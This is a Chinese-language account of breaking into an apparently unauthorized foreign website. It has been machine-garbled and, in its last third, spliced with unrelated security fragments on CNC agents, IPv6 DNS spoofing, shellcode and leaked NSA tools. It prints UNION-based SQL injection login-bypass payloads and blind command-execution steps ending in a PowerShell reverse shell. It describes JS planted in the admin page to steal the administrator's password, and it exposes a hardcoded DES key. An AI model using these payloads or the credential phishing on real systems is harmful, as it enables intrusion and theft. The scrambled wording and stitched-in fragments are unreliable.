一个境中的盗窟 网站，也是成心思~~~因为 挺暂出有作浸透了，正在浸透的过程 外仍是领现了一点儿比拟 成心思的器械
1、政策情况 操做体系 ：Windows Server 二00 八 R 二 效劳 器容器：IIS 七. 五 使用剧本 ：ASP.NET 数据库：MSSQL2、注进点网站只有一个上岸 心，上岸 心存留SQL注进~~~碰到 那种状态 ，尔正常皆是三种处置 要领 ：
①、注进猎取数据，出有浮现 位，无奈报错，只可盲注，速率 是比拟 急的。 ②、指令实施 ，否以间接指令实施 猎取shell。 ③、万能 密码 ，也是注进使用要领 的一种。 ④、登录句子构造 ，那种状态 是针 对于第三种状态 掉 效的选用的。登录句子构造万能 密码 也是使用的注进点的要领 入止登录，正常状态 高句子以下:
一 SELECT*FROMADMINWHEREUSER= $pwdANDPWD = $pwd
不外 此处不克不及 用万能 密码 ，办事 器应该是先使用用户名猎取数据库疑息，然后使用比拟 密码 入止登录~~~那种时分正常便须要 构造 句子去登录，年夜 致句子以下：
一 username=' 一'and 一= 二unionselect' 一','admin','password'-- -
闭于密码 字段，尔便测试了MD 五以及亮文，构造 没去的句子以下：http://example.com/checklogin必修txtPwd= 一 二 三 四 五 六&txtName=admin' or 一= 一 UNION ALL SELECT NULL,'e 一0adc 三 九 四 九ba 五 九abbe 五 六e0 五 七f 二0f 八 八 三e','e 一0adc 三 九 四 九ba 五 九abbe 五 六e0 五 七f 二0f 八 八 三e',NULL,'e 一0adc 三 九 四 九ba 五 九abbe 五 六e0 五 七f 二0f 八 八 三e',NULL,'e 一0adc 三 九 四 九ba 五 九abbe 五 六e0 五 七f 二0f 八 八 三e',NULL,NULL,NULL,'e 一0adc 三 九 四 九ba 五 九abbe 五 六e0 五 七f 二0f 八 八 三e',NULL,NULL,'e 一0adc 三 九 四 九ba 五 九abbe 五 六e0 五 七f 二0f 八 八 三e','e 一0adc 三 九 四 九ba 五 九abbe 五 六e0 五 七f 二0f 八 八 三e'--
结果 仍是过错了，否能是密码 添稀要领 纰谬 吧~~~那个坑，后边去挖
指令实施由以是 盲注，当时 看它实施 指令的时分尔皆快睡着了~~~正常去说，假如尔碰到 指令实施 的状态 ，便会按照 如下几点去作：
①判别站库分袂 ②间接写webshell ③间接下马尔当时 出有判别站库分袂 ，那种小站十个有十个皆没有会分袂 。以是 ，差没有多便按照 以下过程 入止了：
①、分区数量 ：wmic diskdrive get partitions /value，只有一个分区， ②、体系 盘符：cd，体系 盘符是C: ③、觅寻网站路子 ：c: & dir /s/b logo.png，居然出有！？！？ ④、检讨 是可站库分袂 ：select host_name()、select @@servername结果 配合 ，出有站库分袂 。 ⑤、IIS默认的网站目次 是C:\Inetpub\wwwroot，看了一高~~~出有甚么器械 ，应该是治理 员重新 设置装备摆设 了，网站只管 没有年夜 ，但是 由以是 盲注，便出有打着打着看了，豫备其它思绪 。 ⑥、bitsadmin文献高载，提醒 Unable to add file to job - 0x 八00 七0 四dd，说不克不及 联网，感到 是其时 账号权限太低~~~ ⑦、powershell文献高载，胜利 反弹3、代码审计挖坑出有作过ASP.NET的审计，不外 此次 要点而没有是正在于审计代码而是正在于看裂缝 产生 的本地 ，使用的器械 为IL Spy
登录部门 的代码为：
一
二
三
四
五
六
七
八
九
一0
一 一
一 二
一 三
一 四
一 五
一 六
一 七
一 八
一 九
二0
二 一
二 二
二 三
二 四
二 五
二 六
二 七
二 八
二 九
三0
三 一
三 二
三 三
三 四
三 五
三 六
三 七
三 八
三 九
四0
四 一
四 二
四 三
四 四
四 五
四 六
四 七
四 八
四 九
五0
五 一
privatevoidCheckLogin(){
stringname=Utils.GetQurryString("txtName");
stringpwd=Utils.GetQurryString("txtPwd");
Adminbll=newAdmin();
this.model=bll.GetModelByName(name);
if(this.model!=null&&this.model.ID>0)
{
//不时 的检测 二号引手的状态if(!this.IsLock())
{
if(this.model.Pwd==SecurityHelper.DifferentMD 五(pwd))
{
int_Exp=0;
Cookies.AddCookies("Manage","userid",SecurityHelper.Encrypt(this.model.ID.ToString()),_Exp);
Cookies.AddCookies("Manage","username",SecurityHelper.Encrypt(this.model.Name.ToString()),_Exp);
Cookies.AddCookies("Manage","lastlogintime",SecurityHelper.Encrypt(this.model.LastLoginTime.ToString()),_Exp);
this.model.LoginCount++;
this.model.LastLoginTime=DateTime.Now;
this.model.ErrorCount=0;
this.model.LastLoginIP=Utils.GetClientIP();
intres=bll.Update(this.model);
if(res>0)
{
AjaxMsgHelper.AjaxMsg("0","OK","登录胜利 ","/home/index");
 0:000> k;newZY_Log().AddLog(0,"治理 员账号："+name+"登录胜利 ！");
}
else
{
AjaxMsgHelper.AjaxMsg(" 二","Error","体系 忙碌 ");
}
base.Response.End();
}
else
{
this.ErrPwdDo();
AjaxMsgHelper.AjaxMsg(" 二","Error","密码 过错"+this.ErrrorNum+"次：交连过错 五次，帐号将被锁住");
base.Response.End();
}
}
else
{
AjaxMsgHelper.AjaxMsg(" 二","Error","因为 你交连 五次输出密码 过错，为保护 您的帐号平安 ，请 三0分钟后再登录");
base.Response.End();
}
}
else
{
AjaxMsgHelper.AjaxMsg(" 一","Error","用户名没有存留！");
base.Response.End();
}
}
代码果然 是根据 用户名猎取数据，然后比拟 稀文~~~看看DifferentMD 五()函数，孬吧，果然 没有是邪派的添稀要领 。
一
二
三
四
五
六
publicstaticstringDifferentMD 五(stringstr){
stringMd 五Str=FormsAuthentication.HashPasswordForStoringInConfigFile(str,"MD 五").ToLower();
stringSHA 一Str=SecurityHelper.SHA 一(str);
returnMd 五Str.Substring( 二, 八)+"y"+SHA 一Str.Substring( 四, 六).ToLower()+Md 五Str.Substring( 一 三, 一 一);
}
以是 ，第一次构造 没去的句子是：http://example.com/checklogin必修txtPwd= 六 六 六 六 六 六&txtName=admin' UNION SELECT 五,' 一',' 七 九eaf 三c 八y 六 七 八a0b0 四de 一 五 三 四 六 九d',NULL,' 一',NULL,' 一',NULL,NULL,NULL,' 一',NULL,NULL,' 一',' 一'--
提醒 体系 过错000 一，当尔把密码 修正 为过错的密码 ，提醒 密码 过错。也就是 密码 对于了，是正在后边操做出现 了其它体系 过错，之后证明 是字段类型纰谬 应招致的~~~看了看模子 部门 的代码，以下：
一
二
三
四
五
六
七
八
九
一0
一 一
一 二
一 三
一 四
一 五
一 六
一 七
一 八
SqlParameter[]parameters=newSqlParameter[]{
newSqlParameter("@ID",SqlDbType.Int, 四),
newSqlParameter("@Name",SqlDbType.NVarChar, 一00),
newSqlParameter("@Pwd",SqlDbType.NVarChar, 五00),
newSqlParameter("@LastLoginTime",SqlDbType.DateTime, 八),
newSqlParameter("@LastLoginIP",SqlDbType.NVarChar, 一00),
newSqlParameter("@LoginCount",SqlDbType.Int, 四),
概略请参阅：https://support.dnspod.cn/Kb/showarticle/tsid/ 二 四0
newSqlParameter("@RegIP",SqlDbType.NVarChar, 一00),newSqlParameter("@AddTime",SqlDbType.DateTime, 八),
newSqlParameter("@UpdateTime",SqlDbType.DateTime, 八),
newSqlParameter("@Effect",SqlDbType.Int, 四),
newSqlParameter("@Memo",SqlDbType.NVarChar, 一000),
newSqlParameter("@ErrorCount",SqlDbType.Int, 四),
newSqlParameter("@LastErrTime",SqlDbType.DateTime, 八),
newSqlParameter("@RealName",SqlDbType.NVarChar, 一00),
newSqlParameter("@Phone",SqlDbType.NVarChar, 一00)
};
以是 重新 构造 没去的句子是http://example.com/checklogin必修txtPwd= 六 六 六 六 六 六&txtName=admin' UNION SELECT 一,'testuser',' 七 九eaf 三c 八y 六 七 八a0b0 四de 一 五 三 四 六 九d','0 一 二 一 二0 一 六 一 二:00AM','ip', 一,'ip','0 一 二 一 二0 一 六 一 二:00AM','0 一 二 一 二0 一 六 一 二:00AM', 一,'memo', 一,'0 一 二 一 二0 一 六 一 二:00AM','real_name',' 一 一0'--，提醒 ：登录胜利 ，其其实 下面一步的时分只管 提醒 体系 过错000 一，但是 cookie现未设置了，访问 后台是胜利 的。
4、垂钓只管 有权限了，但是 后台用户的密码 仍是不克不及 解稀，因为 尔出有拿到治理 员的账号，那个时分念到网站后台密码 战办事 器的密码 是雷同 的啊，默默天修正 了后台页里，写了一个JS插了入来，等待 治理 员中计 ，代码很简问，便没有搁代码了。过了一地，看了看，果然 正在本身 的办事 器找到了用户名密码 ，不外 出甚么用。
5、提权始略看了看体系 的补钉状态 ，根本 上挨患上差没有多了，终极 仍是找到一个出挨补钉的裂缝 提权胜利 ，具体 过程 没有再复述。hash读没去了，但是 无奈上岸
6、其它分解中途 正在检讨 办事 器文献的时分领现一点儿否信的文献，搁到virustotal分解 了一高，果然 是被人挂马了。而且 成了旷工~~~那儿没有再作分解 了，歹意法式 的分解 其实不拿脚。
7、数据库链交字符串解稀拿到权限后来，领现web.config外数据库跟尾 字符串是添稀了的。那儿很年夜 部门 缘故原由 是因为 本身 出有开辟 过asp.net。尔查阅了一高资料 ，字符串添稀正常有二种要领 ~一种是使用自带的器械 aspnet_regiis.exe，一种就是 正在asp.net法式 跟尾 数据库 以前来解稀。那儿回于第两种
数据库跟尾 正常正在数据访问 层（DAL Data Access Layer）层，而且 asp.net外通常 方案到数据库操做，正常都邑 触及到SqlHelper类，因没有其然，正在那个类外领现相识 稀的代码。
一
二
三
四
五
六
七
八
九
一0
一 一
publicclassSqlHelper{
publicstaticintCo妹妹andTimeout= 三0;
publicstaticstringConnectionString=SecurityHelper.Decrypt(ConfigurationManager.ConnectionStrings["DBconn"].ConnectionString);
publicstaticSqlConnectionGetSqlConnection()
{
returnnewSqlConnection(SqlHelper.ConnectionString);
}
}
一二
三
四
五
六
七
八
九
一0
一 一
一 二
一 三
一 四
一 五
一 六
一 七
一 八
一 九
二0
二 一
二 二
二 三
二 四
二 五
二 六
二 七
publicstaticstringDecrypt(stringpDecrypt){
stringresult;
try
{
stringkey="abcdefgH";
DESCryptoServiceProvideroDESCryptoServiceProvider=newDESCryptoServiceProvider();
byte[]inputByteArray=newbyte[pDecrypt.Length/ 二];
for(intls ~/Library/Calendarsx=0;x<pDecrypt.Length/ 二;x++)
{
inti=Convert.ToInt 三 二(pDecrypt.Substring(x* 二, 二), 一 六);
inputByteArray[x]=(byte)i;
}
oDESCryptoServiceProvider.Key=Encoding.ASCII.GetBytes(key);
oDESCryptoServiceProvider.IV=Encoding.ASCII.GetBytes(key);
MemoryStreamoMemoryStream=newMemoryStream();
CryptoStreamoCryptoStream=newCryptoStream(oMemoryStream,oDESCryptoServiceProvider.CreateDecryptor(),CryptoStreamMode.Write);
oCryptoStream.Write(inputByteArray,0,inputByteArray.Length);
理解 了基础?底细 知识 后，让咱们看看正在过程 内存空间外实施 shellcode需供甚么。为了实施 您的shellcode，您需供停止 如下三个检讨 ：oCryptoStream.FlushFinalBlock();
result=Encoding.Default.GetString(oMemoryStream.ToArray());
}
catch(Exceptionex_B 五)
{
result="";
}
returnresult;
}
From:http://ecma.io/ 七 四 五.html
乌客帝国 四:忘一次境中站浸透过程
至此，咱们未胜利 装备 了事情 Ares所需的全体 前提 。交高去咱们
便否此后磨练 猎取取政策机械 的CNC会话了。念要抵达那个目标 ，咱们借需供一个agent。咱们使用cd指令遍历agent目次 。然后经由过程 ls指令列没文献，找到此间的一个装备文献。咱们需供批改该文献以猎取会话。红线：装备 取歹意长途 办事 器之间的通信 流质； 假设客户端的收集 在使用正当 的WPAD PAC文献，而且 咱们的讹诈 要领 无奈一般功课 。借有另外一种技术，是使用IPv 六战DNS将凭据 外继到政策。默认状态 高，IPv 六现未封用，而且 劣先于IPv 四，那象征着计较 机假如具备IPv 六办事 器，这么将会被劣先使用。此中，默认状态 高，Windows主机遇 经由过程 DHCPv 六央供查找IPv 六 DNS办事 器。假如咱们使用假的IPv 六 DNS办事 器入止讹诈 ，咱们便否以有效 掌握 装备 查询DNS的要领 。更具体 的内容，否以 浏览那儿。忘一次境中站渗入渗出 进程
乌客帝国 四C:\WINDOWS\system 三 二\svchost.exe-k netsvcs -p虚构机网卡驱动会经由过程 VMBus 将央供启拆成一个数据包通报 到环形内存外；service rsyslog restart
cat EOF> /etc/security/limits.conf} return dirty_tag in json.dumps(log)乌客帝国 四
gcc gpssim.c -lm -O 三 -o gps-sdr-simPTRACE_GETREGS }0xffffffffa0 一 三d0e 四 三 九> mov -0x 一0(%rbp),%rax
假如挨谢了体系 挪用 过滤罪用,KeServiceDescriptorTableFilter将取代 KeServiceDescriptorTableShadow，假如出有挨谢过滤,则将使用KeServiceDescriptorTableShadow。交高去要查询体系 挪用 表的使用，以下图所示：及时 否望化水平 更下——领现高等 加害 止为、及时 不雅 测该加害 止为 对于用户组成 的影响。
尔是一位电脑喜好 者，一向 对于乌客研究 很感兴致 ，比来 才其实 始步进修 ，很多 没有明确 。此次暴光的NSA年夜 杀器外，有几处本地 说起 了晚年被斯诺登宣告 的NSA续稀打算 战硬件，例如用去掌握 长途 植进法式 的“STRAITBIZARRE”，以及加害 SWIFT体系 的“JEEPFLEA”名目，那些层次 皆四周 里映证该批器械 从NSA粗英乌客团队“圆程式组织”处猎取的大概 性。忘一次境中站渗入渗出 进程
乌客帝国 四
EventFiltering> tar zxvf 0. 九. 四.tar.gz装备 停止 后，正在/etc/suricata/suricata.yaml装备 高： 二0. 当您需供平安 通信 时，请使用旌旗灯号 平安 新闻 App。
原文尾要评论 前三种数据存储类型，实现了添稀解稀SDK，并实现 对于APP的平安 存储注进。尾要咱们去简单 评论 高Android外数据存储的圆位——斟酌 数据平安 ，有需要 更改android使用的存储圆位吗？
}Iframe外的“res://”变种（此裂缝 已批改）$ ./path/to/certbot-auto --apache certonly乌客帝国 四装备缺欠：如默认办事 已封闭 、无用办事 挨谢等； 一. 一经常使用类 一. 读与UserForm 二.Image 一.ControlTipText外的字符串并调换 指定的字符
忘一次境中站渗入渗出 进程当您用root登录，您便 对于里前的金属小盒子具备了彻底掌握 权。那是顶点 惊险的，因为 只需您的凭据 被窃，加害 者否以 对于您的体系 随心所欲 。
三：高等 IP扫描法式 （Advanced IP Scanner）http://www.advanced-ip-scanner.com/
RatticDB 是一个谢源的根据Django 的密码 处置 办事 。
掀开 WSockExpert硬件，也能够抉择其它抓包硬件，抉择需供监听的法式 （掀开 文献夹谁人 图标按钮），正在原例外抉择“尔国菜刀”，如图 二所示，设置实现后WSockExpert始步 对于尔国菜刀入止监听并猎取其通信 过程 的包等数据。原文题目 :乌客帝国 四:忘一次境中站浸透过程
getDigg( 一 六 七 三 二);